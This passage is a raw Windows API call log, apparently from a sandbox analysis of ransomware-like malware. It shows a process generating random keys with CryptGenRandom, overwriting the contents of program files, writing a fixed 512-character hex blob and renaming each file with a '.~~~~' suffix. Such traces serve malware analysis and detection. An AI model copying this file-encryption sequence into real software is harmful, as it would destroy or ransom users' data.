	[0088.646] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.646] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.646] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.646] CloseHandle (hObject=0x11c) returned 1
	[0088.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bfc0
	[0088.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.~~~~")) returned 1
	[0088.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39bfc0 | out: hHeap=0x300000) returned 1
	[0088.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.648] GetLastError () returned 0x0
	[0088.649] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.650] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.651] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20864079613) returned 1
	[0088.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ea37ad0, dwHighDateTime=0x1d60e1e)) 
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4c48
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4c48 | out: hHeap=0x300000) returned 1
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.652] GetLastError () returned 0x0
	[0088.652] GetLastError () returned 0x0
	[0088.652] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.652] GetLastError () returned 0x0
	[0088.652] GetLastError () returned 0x0
	[0088.655] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.655] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0088.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.658] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.658] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.796] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.796] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.796] CloseHandle (hObject=0x11c) returned 1
	[0088.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4da0
	[0088.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.~~~~")) returned 1
	[0088.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4da0 | out: hHeap=0x300000) returned 1
	[0088.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.798] GetLastError () returned 0x0
	[0088.930] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.948] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.948] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.948] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20893830922) returned 1
	[0088.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ed0b4f0, dwHighDateTime=0x1d60e1e)) 
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e54d0
	[0088.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e54d0 | out: hHeap=0x300000) returned 1
	[0088.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7558
	[0088.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.949] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.949] GetLastError () returned 0x0
	[0088.949] GetLastError () returned 0x0
	[0088.949] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.949] GetLastError () returned 0x0
	[0088.949] GetLastError () returned 0x0
	[0088.953] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff5dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.953] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xa24, lpOverlapped=0x0) returned 1
	[0088.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.953] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.953] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.953] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.953] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.953] CloseHandle (hObject=0x118) returned 1
	[0088.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.~~~~")) returned 1
	[0088.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.954] GetLastError () returned 0x0
	[0088.955] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.955] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.955] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.956] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20894577095) returned 1
	[0088.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ed0b4f0, dwHighDateTime=0x1d60e1e)) 
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5540
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5540 | out: hHeap=0x300000) returned 1
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7558
	[0088.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.956] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.956] GetLastError () returned 0x0
	[0088.957] GetLastError () returned 0x0
	[0088.957] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.957] GetLastError () returned 0x0
	[0088.957] GetLastError () returned 0x0
	[0088.959] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff2ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.959] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xd32, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xd32, lpOverlapped=0x0) returned 1
	[0088.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.959] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.960] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.960] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.960] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.960] CloseHandle (hObject=0x118) returned 1
	[0088.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.~~~~")) returned 1
	[0088.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.961] GetLastError () returned 0x0
	[0088.961] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.962] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.962] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20895249697) returned 1
	[0088.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ed31650, dwHighDateTime=0x1d60e1e)) 
	[0088.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1ed0
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1ed0 | out: hHeap=0x300000) returned 1
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0088.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.963] GetLastError () returned 0x0
	[0088.963] GetLastError () returned 0x0
	[0088.963] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.963] GetLastError () returned 0x0
	[0088.964] GetLastError () returned 0x0
	[0088.966] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff3d0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.966] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xc30, lpOverlapped=0x0) returned 1
	[0088.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.967] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.967] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.967] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.967] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.967] CloseHandle (hObject=0x118) returned 1
	[0088.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.~~~~")) returned 1
	[0088.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.968] GetLastError () returned 0x0
	[0088.971] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.972] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.972] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.972] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20896254580) returned 1
	[0088.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ed31650, dwHighDateTime=0x1d60e1e)) 
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e98
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e98 | out: hHeap=0x300000) returned 1
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0088.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.973] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.973] GetLastError () returned 0x0
	[0088.973] GetLastError () returned 0x0
	[0088.973] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.973] GetLastError () returned 0x0
	[0088.973] GetLastError () returned 0x0
